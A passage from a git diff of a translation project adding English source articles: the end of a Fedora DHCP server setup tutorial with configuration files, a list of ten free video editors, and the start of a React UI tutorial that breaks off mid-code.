any text editor such as EMACS or Vim, or a stream editor such as `sed`. + +The DHCP client is always installed on Linux hosts—at least on Red Hat-based distros and all other distros I have tried—because of the high probability that they will be connected to a network using DHCP and not with a static configuration. + +When a host configured for DHCP boots or its NIC is activated, it sends a broadcast request to the network asking for a DHCP server to respond. The client and the server engage in a bit of conversation, and the server sends the configuration data to the client, which uses it to configure its network connection. Hosts may have multiple NICs connected to different networks. Any or all may be configured using DHCP or a static configuration. I will keep the setup for this article simple with only a few hosts—my own personal network. + +### Network description + +This article uses my own network for illustration. This is much more interesting and realistic than using a set of virtual machines on a virtual network. Each host on my network has the Fedora 36 [Xfce][2] spin installed. Due to my desire to experiment, my network is smaller but contains more complex network configurations than might be found in a standard home or small business network. + +Before setting up DHCP, I created a network address map like the one shown in Figure 1. This diagram includes MAC addresses, IP addresses, and NIC names for each host. The map enabled me to visualize my network's logical structure and determine which hosts needed DHCP configuration and which needed static IP configuration. + +| NIC | MAC | Static/DHCP | IP Address | Comments | +| :- | :- | :- | :- | :- | +| wally1 | | | Primary firewall and router | +| eno1 | 04:d9:f5:1c:d5:c5 | Static | N/A | Disabled due to errors | +| enp1s0 | 84:16:f9:03:e9:89 | Static | 192.168.10.1/24 | SSID Linux Boy | +| enp2s0 | 84:16:f9:03:fd:85 | Static | 192.168.0.254/24 | Inside network | +| enp4s0 | 84:16:f9:04:44:03 | Static | 45.20.209.41/29 | WAN connection | +| | | | | | +| yorktown | | | Main server | +| enp0s31f6 | e0:d5:5e:a2:de:a4 | Static | 192.168.0.52/24 | DHCP, NTP, DNS, HTTP, + | +| | | | | | +| david | | | Main workstation | +| enp0s31f6 | b0:6e:bf:3a:43:1f | DHCP | 192.168.0.1/24 | | +| | | | | | +| bunkerhill | | | Testing workstation | +| eno1 | 2c:f0:5d:26:c2:09 | DHCP | 192.168.0.9/24 | | +| | | | | | +| enterprise | | | Workstation | +| eno1 | 30:9c:23:e9:a4:e6 | DHCP | 192.168.0.2/24 | | +| | | | | | +| essex | | | Testing workstation | +| eno1 | e0:69:95:45:c4:cd | DHCP | 192.168.0.6/24 | | +| intrepid | | | Testing workstation | +| enp0s25 | 00:1e:4f:df:3a:d7 | DHCP | 192.168.0.5/24 | | +| | | | | | +| wasp | | | Testing workstation | +| eno1 | e8:40:f2:3d:0e:a8 | DHCP | 192.168.0.8/24 | | +| | | | | | +| hornet | | | Testing workstation | +| enp0s25 | e0:69:95:3c:07:37 | DHCP | 192.168.0.07/24 | | +| | | | | | +| voyager | | | Laptop | +| enp111s0 | 80:fa:5b:63:37:88 | DHCP | 192.168.0.201/24 | | + +*Figure 1: Network Address Map* + +The **yorktown** server hosts the DHCP service and the rest of my server services. Host **wally** is my firewall and router. The hosts **yorktown** and **wally** both use static network configurations and the rest use DHCP configuration, as shown in Figure 1. + +### Install the DHCP server + +First, I checked the DHP installation status and then installed the DHCP server, as shown in Figure 2. + +``` +[root@yorktown ~]# dnf list installed dhcp* +Installed Packages +dhcp-client.x86_64     12:4.3.6-28.fc29           @anaconda +dhcp-common.noarch     12:4.3.6-28.fc29           @anaconda +dhcp-libs.x86_64       12:4.3.6-28.fc29           @anaconda + +[root@yorktown ~]# +``` + +*Figure 2: Check which DHCP packages are installed on my server.* + +The DHCP server is not installed by default, so I added it myself. This task must be performed as root. The result shows the DHCP client has been installed along with libraries and supporting files common to the client, server, and possibly the DHCP development packages. The DHCP server is not installed, so I installed it using the command in Figure 3. + +``` +[yorktown ~]# dnf install -y dhcp-server +Last metadata expiration check: 2:39:06 ago on Wed 26 Dec 2018 12:19:46 PM EST. +Dependencies resolved. +================================================================================================= + Package                Arch              Version                        Repository         Size +================================================================================================= +Installing: + dhcp-server            x86_64            12:4.3.6-28.fc29               fedora            431 k +[...] +Installed: +  dhcp-server-12:4.3.6-28.fc29.x86_64                                                             + +Complete! +``` + +*Figure 3: Installing the DHCP server package.* + +That was easy, and no reboot of the server was required. + +### Configure the DHCP server + +With the DHCP server installed, the next step is to configure the server. Having more than one DHCP server on the same network can cause problems because one would never know which DHCP server is providing the network configuration data to the client. However, a single DHCP server on one host can listen to multiple networks and provide configuration data to clients on more than one network. + +DHCP can provide DNS names for the gateway and other servers. For example, the NTP server could use that server's hostname (**NTP1**) instead of the IP address. Most of the time, this works well, but this configuration might cause problems if the DNS name services server were to be disabled or my own server does not exist. + +The IP addresses specified in Figure 1 are the ones that DHCP will assign to the hosts on my internal network. I have arbitrarily chosen these IP addresses for my network. + +The details like the values for hostnames, MAC addresses, and IP addresses will be different for your network, but the basic requirements will be the same. + +### The dhcpd.conf file + +As root, you can look at the existing `dhcpd.conf` file, which is non-functional when first installed. Make `/etc/dhcp` the PWD and then `cat` the `dhcpd.conf` file to view the contents. There is not much in the file, but it does point to an example file named `/usr/share/doc/dhcp-server/dhcpd.conf.example` that you can read to understand the main components and syntax of the `dhcpd.conf` file. I strongly suggest you read this example file. + +I started with a previous version of the example file many years ago when I first decided to move to DHCP configuration for my network. The comment I added in this section indicates that it was probably based on the Fedora 18 version of `dhcpd.conf` and my file is still based on that older file. I have left many of the original comments and commented out the default settings in my final file. Since this file is intended as a guide and the basis for a working `dhcpd.conf` configuration, I decided to leave as much intact as possible in case I needed that information later. + +The `dhcpd.conf(5)` man page also has some excellent descriptions of the various configuration statements that are likely to be needed by a DHCP server. + +There are two major sections in any `dhcpd.conf` file. The global section contains settings for all subnets for which this server provides DHCP services. The second section is the subnet declaration. You can use multiple subnet declarations if this server provides DHCP services for multiple networks. + +#### Syntax + +The dhcpd service is very strict in its interpretation of the `dhcpd.conf` file. Each subnet and each host declared within each subnet must begin and end with curly braces (`{}` ), and all statements must end in a semicolon (`;` ). A missing curly brace has caused me much angst and gnashing of teeth more than once in the past. The curly braces for the subnet declaration also surround the host declaration because the host declarations need to be inside the subnet declaration. + +#### The global section + +This global section, shown in Figure 4, contains global configuration items common to the subnets that DHCP serves. I have only a single subnet, but I still placed these statements in the global section because they are likely to be the same for all subnets. If they were to differ for a given subnet, creating a statement with different values in the subnet declaration overrides the global declaration. + +Since I only have one network, I have kept the option declarations found in this section of the sample file because I had no reason to change or delete them. + +``` +# DHCP Server Configuration file. +#   see /usr/share/doc/dhcp*/dhcpd.conf.sample +#   see dhcpd.conf(5) man page +# +# +# Changes based on the sample dhcpd.conf for Fedora 18. +# option definitions common to all supported networks... +# option domain-name "example.org"; +# option domain-name-servers ns1.example.org, ns2.example.org; +# +# All networks get the default lease times +default-lease-time 7200;        # 2 hours +max-lease-time 14400;           # 4 hours + +# Use this to enable / disable dynamic dns updates globally. +ddns-update-style none; +# +# If this DHCP server is the official DHCP server for the local +# network, the authoritative directive should be uncommented. +authoritative; +# +# ignore client-updates; +# If this DHCP server is the official DHCP server for the local +# network, the authoritative directive should be uncommented. +authoritative; +# +``` + +*Figure 4: The global section of the dhcpd.conf file.* + +I made three changes in this section from that of the original file: + +* Default lease time:I set the default lease times in seconds. This setting determines how frequently the client hosts must refresh the lease on the IP address. Shorter times are good if clients connect and disconnect frequently. The default lease time of 10 minutes is pretty short, so I set it for two hours. I also changed the maximum lease time from two hours to four hours. +* Dynamic DNS: I disabled dynamic DNS because I don't use that in my network. +* Authoritative server: I specified that this is the authoritative DHCP server for my network. + +#### The subnet section + +The subnet section of the `dhcpd.conf` file contains two subsections. The first has the values common to all hosts in the defined subnet. The host declaration subsection includes declarations for all hosts specifically managed by DHCP. + +##### The common part of the subnet section + +This common subsection of the subnet section, shown in Figure 5, sets numerous common values for all of the hosts declared in the host subsection of this subnet. I define the subnet in the first line as type C range 192.168.0.0 in the old classful notation, with a subnet mask of 255.255.255.0. This translates to 192.168.0.0/24 in the Classless Inter-Domain Routing (CIDR) network notation. + +I don't see any indication in any documentation that the `dhcpd.conf` file can use [CIDR notation][3] for IPv4 at this time. The `dhcpd.conf` man page indicates that you can use CIDR notation for IPv6. + +This subsection specifies the router IP address and netmask, the domain name, and the DNS domain search name. The domain search name is used when performing searches where no domain name is specified in the query. When a command such as `ping essex` is specified, the DNS search is performed for `essex.both.org` instead. + +Since I don't use [NIS domain names][4], I commented out that option. + +This section also provides a list of [DNS servers][5] to the clients. Clients search these servers in the order they are listed. I use the Google DNS servers as the backup to my internal DNS server, partly because I registered my domain names with Google Domains. + +``` +subnet 192.168.0.0 netmask 255.255.255.0 { + +# --- default gateway +        option routers                  192.168.0.254; +        option subnet-mask              255.255.255.0; + +#       option nis-domain               "both.org"; +        option domain-name              "both.org"; +        option domain-search            "both.org"; +        option domain-name-servers      192.168.0.52, 8.8.8.8, 8.8.4.4; + +        option time-offset              -18000; # Eastern Standard Time +        option ntp-servers              192.168.0.52; +#       option netbios-name-servers     192.168.0.1; +# --- Selects point-to-point node (default is hybrid). Don't change this unless +# -- you understand Netbios very well +#       option netbios-node-type 2; + +################################################################################ +# Dynamic DHCP allocation range for otherwise unknown hosts                    # +################################################################################ +        range dynamic-bootp 192.168.0.220 192.168.0.229; +#       default-lease-time 21600; +#       max-lease-time 43200; +``` + +*Figure 5: The common subsection of the subnet section for my network.* + +I specified my local [Network Time Protocol (NTP)][6] server and the offset from GMT. This service synchronizes the time on all of my hosts. + +Configuring the network settings for guest hosts such as laptops and other mobile devices is also possible with DHCP. I have no information (such as the MAC address) for these computers but must assign an IP address anyway. In most cases, the guest hosts must trust the DHCP service. I dislike having guests on my network, so I usually relegate guest hosts to a second network subnet. This approach protects my primary network because the guest hosts have no access to it. + +The last active line in this part of my `dhcpd.conf` file specifies a small range of IP addresses for devices that might plug into my wired network. For example, I plug laptops and desktop systems into my network when working on them after I have determined that they are not infected—usually only when I have wiped the hard drives and installed Linux. I never, ever connect a Windows computer directly to my network. + +The original sample file used different lease times for this first subnet than I specified in the global section, so I have commented them out. + +##### The host declaration part of the subnet section + +The subnet section shown in Figure 6 is where the individual hosts are declared. Each host requires a name, the MAC address of its NIC, and the fixed address it will always use. + +I use comments in this host declaration subsection to help define and document the address structure for my network. I also use comments in my DNS zone file to record the same information. + +``` +################################################################################ +# The range from 192.168.0.1 - 20 is for my personal hosts and workstations.   # +################################################################################ +        # david +        host david { +                hardware ethernet b0:6e:bf:3a:43:1f; +                fixed-address 192.168.0.1; +        } +        # bunkerhill +        host alice { +                hardware ethernet 30:9C:23:E9:A4:E6; +                fixed-address 192.168.0.2; +        } +        # intrepid +        host intrepid { +                hardware ethernet 00:1e:4f:df:3a:d7; +                fixed-address 192.168.0.5; +        } +        # essex +        host essex { +                hardware ethernet E0:69:95:45:C4:CD; +                fixed-address 192.168.0.6; +        } +        # Hornet +        host hornet { +                hardware ethernet e0:69:95:3c:07:37; +                fixed-address 192.168.0.7; +        } +        # Wasp +        host wasp { +                hardware ethernet e8:40:f2:3d:0e:a8; +                fixed-address 192.168.0.8; +        } +        # bunkerhill +        host bunkerhill { +                hardware ethernet 2c:f0:5d:26:c2:09; +                fixed-address 192.168.0.9; +        } + + +################################################################################ +# IP Addresses between 192.168.0.50 and 192.168.0.59 are for physical servers  # +# which always use static IP addressing.                                       # +################################################################################ + +################################################################################ +# The range from 192.168.0.70 - 80 is for network printers.                    # +################################################################################ +        host brother1 { +                hardware ethernet 30:05:5C:71:F7:7C; +                fixed-address 192.168.0.70; +        } + +################################################################################ +# The range from 192.168.0.91 - 100 is for various hosts under test            # +################################################################################ +        host test1 { +                hardware ethernet 00:1E:4F:B1:EB:78; +                fixed-address 192.168.0.91; +        } +        host admin { +                hardware ethernet 00:22:4d:a6:5c:1b; +                fixed-address 192.168.0.92; +        } +################################################################################ +# The range from 192.168.0.100 to 192.168.0.150 is for most virtual machines.  # +################################################################################ +        host testvm1 { +                hardware ethernet 08:00:27:7B:A7:0C; +                fixed-address 192.168.0.101; +        } +        host testvm2 { +                hardware ethernet 08:00:27:BE:E1:02; +                fixed-address 192.168.0.102; +        } +        host fedora35vm { +                hardware ethernet 08:00:27:A8:E7:4F; +                fixed-address 192.168.0.135; +        } +        host fedora36vm { +                hardware ethernet 08:00:27:07:CD:FE; +                fixed-address 192.168.0.136; +        } + +################################################################################ +# The range from 192.168.0.160 - 192.168.0.179 is reserved                     # +################################################################################ + +################################################################################ +################################################################################ +################################################################################ +# The range from 192.168.0.180 to 192.168.0.189 is for virtual machines used   # +# in book research. These addresses usually connect to a second or third NIC   # +# for those hosts to provide a back-door access.                               # +################################################################################ +################################################################################ +################################################################################ +        # Adapter 2 +        host studentvm1 { +                hardware ethernet 08:00:27:C4:6E:06; +                fixed-address 192.168.0.181; +        } +        # Adapter 2 +        host studentvm2 { +                hardware ethernet 08:00:27:9F:67:CB; +                fixed-address 192.168.0.182; +        } + +################################################################################ +# The range from 192.168.190 - 199 is for windows and other strange stuff      # +################################################################################ +        # Windows10 VM +        host win10 { +                hardware ethernet 08:00:27:8C:79:E8; +                fixed-address 192.168.0.190; +        } +################################################################################ +# The range from 192.168.0.200 - 209 is for mobile and miscellaneous devices   # +################################################################################ +        # voyager (System76 Oryx Pro 4) +        host voyager { +                hardware ethernet 80:fa:5b:63:37:88; +                fixed-address 192.168.0.201; +        } +        # voyager2  (System76 Oryx Pro 6) +        host voyager2 { +                hardware ethernet 80:fa:5b:8d:c6:75; +                fixed-address 192.168.0.202; +        } +} +``` + +*Figure 6: The host declaration section of the dhcpd.conf file.* + +Different option declarations can be made for any subnet or any host within a subnet. For example, one subnet may specify a different router than the rest of the subnets, or one host may use a different router than the other hosts in a subnet. + +To activate the new DHCP configuration, I started, enabled, and verified the DHCP service, as seen in Figure 7. + +``` +[yorktown ~]# systemctl start dhcpd + +[yorktown ~]# systemctl enable dhcpd +Created symlink /etc/systemd/system/multi-user.target.wants/dhcpd.service → /usr/lib/systemd/system/dhcpd.service. + +[yorktown ~]# systemctl status dhcpd +● dhcpd.service - DHCPv4 Server Daemon +     Loaded: loaded (/usr/lib/systemd/system/dhcpd.service; enabled; vendor preset: disabled) +    Drop-In: /etc/systemd/system/dhcpd.service.d +             └─override.conf +     Active: active (running) since Sun 2022-06-26 15:57:12 EDT; 11s ago +       Docs: man:dhcpd(8) +             man:dhcpd.conf(5) +    Process: 1347205 ExecStartPre=/bin/sleep 60 (code=exited, status=0/SUCCESS) +   Main PID: 1347220 (dhcpd) +     Status: "Dispatching packets..." +      Tasks: 1 (limit: 38318) +     Memory: 4.9M +        CPU: 15ms +     CGroup: /system.slice/dhcpd.service +             └─ 1347220 /usr/sbin/dhcpd -f -cf /etc/dhcp/dhcpd.conf -user dhcpd -group dhcpd --no-pid + +Jun 26 15:57:12 yorktown.both.org dhcpd[1347220]: Wrote 10 leases to leases file. +Jun 26 15:57:12 yorktown.both.org dhcpd[1347220]: Listening on LPF/enp0s31f6/e0:d5:5e:a2:de:a4/192.168.0.0/24 +Jun 26 15:57:12 yorktown.both.org dhcpd[1347220]: Sending on   LPF/enp0s31f6/e0:d5:5e:a2:de:a4/192.168.0.0/24 +Jun 26 15:57:12 yorktown.both.org dhcpd[1347220]: Sending on   Socket/fallback/fallback-net +Jun 26 15:57:12 yorktown.both.org dhcpd[1347220]: Server starting service. +Jun 26 15:57:12 yorktown.both.org systemd[1]: Started dhcpd.service - DHCPv4 Server Daemon. +Jun 26 15:57:16 yorktown.both.org dhcpd[1347220]: DHCPREQUEST for 192.168.0.2 from 30:9c:23:e9:a4:e6 via enp0s31f6 +Jun 26 15:57:16 yorktown.both.org dhcpd[1347220]: DHCPACK on 192.168.0.2 to 30:9c:23:e9:a4:e6 via enp0s31f6 +Jun 26 15:57:17 yorktown.both.org dhcpd[1347220]: DHCPREQUEST for 192.168.0.8 from e8:40:f2:3d:0e:a8 via enp0s31f6 +Jun 26 15:57:17 yorktown.both.org dhcpd[1347220]: DHCPACK on 192.168.0.8 to e8:40:f2:3d:0e:a8 via enp0s31f6 +``` + +*Figure 7: Start and verify that the DHCP server started without errors. You can even see a couple of fulfilled requests in this example.* + +There should be no errors from the status command, but, like my server above, there may be several statements indicating the DHCP daemon is listening on a specific NIC and the MAC address of the NIC. If this information is not correct, verify that the `dhcpd.conf` file is valid and restart the DHCP server. If there are syntactical errors in the configuration, they will appear in the status report. + +I also ran the command shown in Figure 8 on some of my hosts to verify that the network is configured with the correct IP address, router, and DNS servers. This command shows the installed NICs on each host, including the loopback device, lo. + +``` +[essex ~]# nmcli +eno1: connected to Wired connection 1 +        "Intel 82579V" +        ethernet (e1000e), E0:69:95:45:C4:CD, hw, mtu 1500 +        ip4 default +        inet4 192.168.0.6/24 +        route4 192.168.0.0/24 metric 100 +        route4 default via 192.168.0.254 metric 100 +        inet6 fe80::3220:6681:4348:71df/64 +        route6 fe80::/64 metric 1024 + +lo: unmanaged +        "lo" +        loopback (unknown), 00:00:00:00:00:00, sw, mtu 65536 + +DNS configuration: +        servers: 192.168.0.52 8.8.8.8 8.8.4.4 +        domains: both.org +        interface: eno1 +``` + +*Figure 8: Verify DHCP provided the correct data to the hosts.* + +### Wrap up + +DHCP provides network configuration data to client hosts on a network, allowing for centralized network configuration management. A DHCP server can provide various configuration options to clients, including many required for Windows hosts that might connect to the network. This configuration data includes gateway routers, NTP servers, DNS servers, PXE boot servers, and much more. + +I use DHCP for most of my hosts because it is less work in the long run than static configurations on each host. The default setup for NetworkManager on newly installed hosts is to use DHCP. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/configure-dhcp-server + +作者:[David Both][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LAW_fedora_cla.png +[2]: https://opensource.com/article/19/12/xfce-linux-desktop +[3]: https://opensource.com/article/16/12/cidr-network-notation-configuration-linux +[4]: https://en.wikipedia.org/wiki/Network_Information_Service +[5]: https://opensource.com/article/17/4/introduction-domain-name-system-dns +[6]: https://en.wikipedia.org/wiki/Time_server diff --git a/sources/tech/20220718 Top 10 Best Professional Video Editors in 2022.md b/sources/tech/20220718 Top 10 Best Professional Video Editors in 2022.md new file mode 100644 index 0000000000..20bdcab63f --- /dev/null +++ b/sources/tech/20220718 Top 10 Best Professional Video Editors in 2022.md @@ -0,0 +1,257 @@ +[#]: subject: "Top 10 Best Professional Video Editors in 2022" +[#]: via: "https://www.debugpoint.com/best-free-video-editors-linux-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 Best Professional Video Editors in 2022 +====== +We list the top 10 best and most free video editors for Linux and Windows. Have a look. + +[Video editors][1] are costly software, especially those that are more advanced such as Adobe Premiere Pro. However, there are plenty of known/unknown Video Editors available, which are free of cost and open source. Here we list ten free video editors which might be helpful for you and your use case. + +### Top 10 Professional and Free Video Editors + +#### 1. Blender + +[Blender][2]is a free and open-source video editor and 3D modelling software used to create movies, animated films, renders, simulations, motion tracking and many more. Blender is a popular tool used and contributed by hundreds of people worldwide. Primarily used by studios and individual artists, professionals and hobbyists, scientists, students, VFX experts, animators, game artists, modders, and the list goes on. + +![Blender Video Editor][3] + +Blender’s feature list is enormous; however, here are some noteworthy features. + +* Modelling +* Sculpting +* Animation & Rigging +* Grease Pencil +* Rendering +* Simulation +* Video Editing +* Scripting +* VFX +* Interface +* Pipeline + +[Download Blender][4] + +#### 2. Lightworks + +[Lightworks][5]is a freemium video editor capable of editing videos for social media, 4K videos and movies. Lightworks has been used in some famous Hollywood movie editing as well. This non-linear video editor is free to download, and you might have to pay for additional features. + +![Lightworks Video Editor][6] + +Here’s a quick sneak peek of its features: + +* Simple & intuitive User Interface +* Access excellent royalty-free audio & video content +* Easy timeline editing & trimming +* Lo-Res Proxy workflows for 4K +* Real-time ready-to-use audio & video FX +* Export video for YouTube/Vimeo, SD/HD, up to 4K +* Broad file format support, including variable frame rate media +* Grade your sequence professionally utilising up to 32bit GPU precision and histogram tool + +[Download Lightworks][7] + +#### 3. Shotcut + +[Shotcut][8]is another free, open source and cross-platform video editor loaded with features. Primary features include support for a wide range of formats; no import required, meaning native timeline editing; Blackmagic Design support for input and preview monitoring; and resolution support to 4k. + +![Shotcut Video Editor][9] + +Notable features of Shotcut: + +* Support for 4K resolutions +* Audio, Video, and Webcam capture +* Wide range of file format support +* $K resolution support +* Plugins +* Audio and Video filters + +[Download Shotcut][10] + +#### 4. Avidemux + +[Avidemux][11] is ideal for you if you are just a beginner in Video editing, learning, or a hobbyist. This free and open-source video editor is designed for simple cut, filter and encoding tasks. Being a basic video editor, it supports a wide range of file formats. Also, you can automate tasks using projects, job queues and powerful scripting capabilities. + +![Avidemux Video Editor][12] + +[Download Avidemux][13] + +#### 5. HitFilm Express + +[HitFilm Express][14] is an excellent video editor – freely available for download – as the name says – the express version. Loaded with features and developed professionally, HitFilm express is an ideal video editor for beginners, YouTube creators and movie makers. However, it is only available for Windows and Mac. Linux version is not yet profitable, as per the development team, considering the low user base. + +![Hitfilm Express Video Editor][15] + +Having said that, if you are still looking for a free and professional video editor, you can try HitFilm express. Please note that you may have to pay if you opt for a different version of the product with more features. + +[Download HitFilm Express][16] + +#### 6. DaVinci Resolve + +This is the most professional video editor capable of 8K editing. Available for Linux, Mac and Windows, DaVinci Resolve is a Proprietary commercial software. It comes with a studio version, and a paid variant with additional features such as more plugins, addons, etc. However, you can still use the free version of the software, which is more than enough if you are a standard user. + +![DaVinci Resolve Video Editor][17] + +Here’s a quick feature guide. + +* Dual Timeline +* Source Tape +* Dedicated Trim Interface +* Intelligent Edit Modes +* Fast Review +* Transform, Retime and Stabilise +* Quick Export +* Media Import +* Portable Editing +* Custom Timeline Settings +* Adjustment Clips +* Facial Recognition +* Speed Warp Retiming +* Image Stabilisation +* Keyframe Curve Editor +* Tape Style Audio Scrubbing +* Faster, Smarter Encoding + +[Download DaVinci Resolve][18] + +#### 7. OpenShot + +If you are looking for a simple UI-based free video editor yet powerful, [OpenShot][19]is the choice. Designed with a mindset with a low learning curve for video editing – it is available for Windows, Linux and Mac. + +![OpenShot Video Editor][20] + +Here’s a quick rundown on its features: + +* Cross-Platform +* Quickly trim down your videos +* Using the robust animation framework, you can fade, slide, bounce, and animate anything in your video project +* Add as many layers as you need for watermarks, background videos, audio tracks +* Video effects engine, remove the background from your video, invert the colours, adjust brightness +* Audio Waveforms +* Title editor with templates +* Render beautiful 3D animated titles and effects, such as snow, lens flares, or flying text. +* Control the power of time, reversing, slowing down, and speeding up video +* Use a preset or animate the playback speed and direction. +* Drag and drop video, audio, or images from your file manager +* 70+ Languages +* Simple User Interface + +If you are a beginner in Video Editing and trying it out the first time, this is the editor you should be using to get a feel of it. + +[Download OpenShot][21] + +#### 8. KDenlive + +[KDenlive][22]is a 15+ years old video editor application. KDenlive is a free and open-source video editor built upon the QT framework, powered by some of the best FFMpeg, frei0r, movie, ladspa, and sox frameworks. This video editor is for average users with some additional advanced features – but not too much to absorb and learn. + +Some of its features include: + +* Multi-track video editing +* Use any audio/video format +* Configurable interface and shortcuts +* Titler with 2D Title +* Many effects and transitions +* Audio and video scopes +* Proxy editing +* Automatic backup +* Online resources downloaded directly from UI +* Timeline preview +* Keyframeable effects +* Theme interface + +![KDenlive Video Editor][23] + +[Download KDenlive][24] + +#### 9. Flowblade + +“FAST, PRECISE and STABLE” – is the tagline of [Flowblade][25]video editor, which explains its target users. Flowblade is a non-linear video editor loaded with features such as – + +* Edit tools +* Timeline features +* Compositors +* Filters +* Range log +* Proxy editing +* Batch render queue +* G’mic effects tool +* Audio mixer +* Media relinker +* Titler +* Misc. Features +* Rendering +* MLT supported video and audio codecs + +![Flowblade Video Editor][26] + +Flowblade is only available for Linux Systems and not for Windows or Mac. + +[Download Flowblade][27] + +#### 10. Olive + +[Olive][28]is a free non-linear video editor aiming to provide a fully-featured alternative to high-end professional video editing software. It is being developed at the moment and in the ALPHA stage. Looking at the interests, it[seems promising][29], and users are creating videos via Olive. However, being an ALPHA version, it is not recommended for professional work at the moment, but you can still give it a try. + +![Olive Video Editor][30] + +Available for Windows, Linux and Mac, you can download it via the below link. + +[Download Olive Video Editor][31] + +### Wrap up + +Video editors are complex software. Many professional editors are costly. With that said, here we featured the top 10 professional-grade video editors for you. Some are perfect if used correctly and can replace any professional program. For example, Blender, KDenlive and DaVinci Resolve – are perfect for creating professional-grade videos or movies. + +So, which is the top professional grade video editor, in your opinion? Let me know in the comment box below. + +*Image Credits: Respective applications.* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-free-video-editors-linux-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/video-editors-in-ubuntu/ +[2]: https://www.blender.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2019/09/Blender-Video-Editor.jpg +[4]: https://www.blender.org/download/ +[5]: https://www.lwks.com/ +[6]: https://www.debugpoint.com/wp-content/uploads/2019/09/Lightworks-Video-Editor-1024x557.jpg +[7]: https://www.lwks.com/index.php?option=com_lwks&view=download&Itemid=206 +[8]: https://shotcut.org +[9]: https://www.debugpoint.com/wp-content/uploads/2019/09/Shotcut-Video-Editor-1024x644.jpg +[10]: https://shotcut.org/download/ +[11]: http://avidemux.sourceforge.net/ +[12]: https://www.debugpoint.com/wp-content/uploads/2019/09/Avidemux-Video-Editor.png +[13]: http://avidemux.sourceforge.net/download.html +[14]: https://fxhome.com/hitfilm-express +[15]: https://www.debugpoint.com/wp-content/uploads/2019/09/Hitfilm-Express-Video-Editor-1024x572.jpg +[16]: https://fxhome.com/hitfilm-express +[17]: https://www.debugpoint.com/wp-content/uploads/2019/09/DaVinci-Resolve-Video-Editor.jpg +[18]: https://www.blackmagicdesign.com/products/davinciresolve/ +[19]: https://www.openshot.org/ +[20]: https://www.debugpoint.com/wp-content/uploads/2019/09/OpenShot-Video-Editor.jpg +[21]: https://www.openshot.org/download/ +[22]: https://kdenlive.org +[23]: https://www.debugpoint.com/wp-content/uploads/2019/09/KDenlive-Video-Editor--1024x579.jpg +[24]: https://kdenlive.org/en/download/ +[25]: https://jliljebl.github.io/flowblade/ +[26]: https://www.debugpoint.com/wp-content/uploads/2019/09/Flowblade-Video-Editor-1024x579.jpg +[27]: https://jliljebl.github.io/flowblade/download.html +[28]: https://www.olivevideoeditor.org +[29]: https://www.debugpoint.com/olive-0-2-video-editor-review/ +[30]: https://www.debugpoint.com/wp-content/uploads/2019/09/Olive-Video-Editor-1024x576.jpg +[31]: https://www.olivevideoeditor.org/download.php diff --git a/sources/tech/20220719 Code your first React UI app.md b/sources/tech/20220719 Code your first React UI app.md new file mode 100644 index 0000000000..9d795ade2e --- /dev/null +++ b/sources/tech/20220719 Code your first React UI app.md @@ -0,0 +1,228 @@ +[#]: subject: "Code your first React UI app" +[#]: via: "https://opensource.com/article/22/7/code-first-react-app" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Code your first React UI app +====== +Learn to make back-end and front-end development work together with this JavaScript tutorial. + +Who wants to create their first UI app? I do, and if you're reading this article, I assume you do, too. In today's example, I'll use some JavaScript and the [API with Express][2] I demonstrated in my previous article. First, let me explain some of the tech you're about to use. + +### What is React? + +React is a JavaScript library for building a user interface (UI). However, you need more than just the UI library for a functional UI. Here are the important components of the JavaScript web app you're about to create: + +* npx: This package is for executing npm packages. +* axios: A promise-based HTTP client for the browser and node.js. A promise is a value that an API endpoint will provide. +* http-proxy-middleware: Configures proxy middleware with ease. A proxy is middleware that helps deal with messaging back and forth from the application endpoint to the requester. + +### Preconfiguration + +If you haven't already, look at my [previous article][3]. You'll use that code as part of this React app. In this case, you'll add a service to use as part of the app. As part of this application, you have to use the `npx` package to create the new folder structure and application: + +``` +$ npx create-react-app count-ui +npx: installed 67 in 7.295s + +Creating a new React app in /Users/cherrybomb/count-ui. + +Installing packages. This might take a couple of minutes. +Installing react, react-dom, and react-scripts with cra-template... +[...] +Installing template dependencies using npm... ++ @testing-library/jest-dom@5.16.4 ++ @testing-library/user-event@13.5.0 ++ web-vitals@2.1.4 ++ @testing-library/react@13.3.0 +added 52 packages from 109 contributors in 9.858s +[...] +Success! Created count-ui at /Users/cherrybomb/count-ui +[...] +We suggest that you begin by typing: + +  cd count-ui +  npm start +``` + +As you can see, the `npx` command has created a new template with a folder structure, an awesome `README` file, and a Git repository. Here's the structure: + +``` +$ cd count-ui/ +/Users/cherrybomb/count-ui + +$ ls -A -1 +.git +.gitignore +README.md +node_modules +package-lock.json +package.json +public +src +``` + +This process also initialized the Git repo and set the branch to master, which is a pretty cool trick. Next, install the `npm` packages: + +``` +$ npm install axios http-proxy-middleware +[...] +npm WARN @apideck/better-ajv-errors@0.3.4 requires a peer of ajv@>=8 but none is installed. You must install peer dependencies yourself. ++ http-proxy-middleware@2.0.6 ++ axios@0.27.2 +added 2 packages from 2 contributors, updated 1 package and audited 1449 packages in 5.886s +``` + +Now that those are set up, add your `services`, and `main.js` file: + +``` +$ mkdir src/services +src/services + +$ touch src/services/main.js +``` + +Preconfiguration is now complete, so you can now work on coding. + +### Code a UI from start to finish + +Now that you have everything preconfigured, you can put together the service for your application. Add the following code to the `main.js` file: + +``` +import axios from 'axios'; +const baseURL = 'http://localhost:5001/api'; +export const get = async () => await axios.get(`${baseURL}/`); +export const increment = async () => await 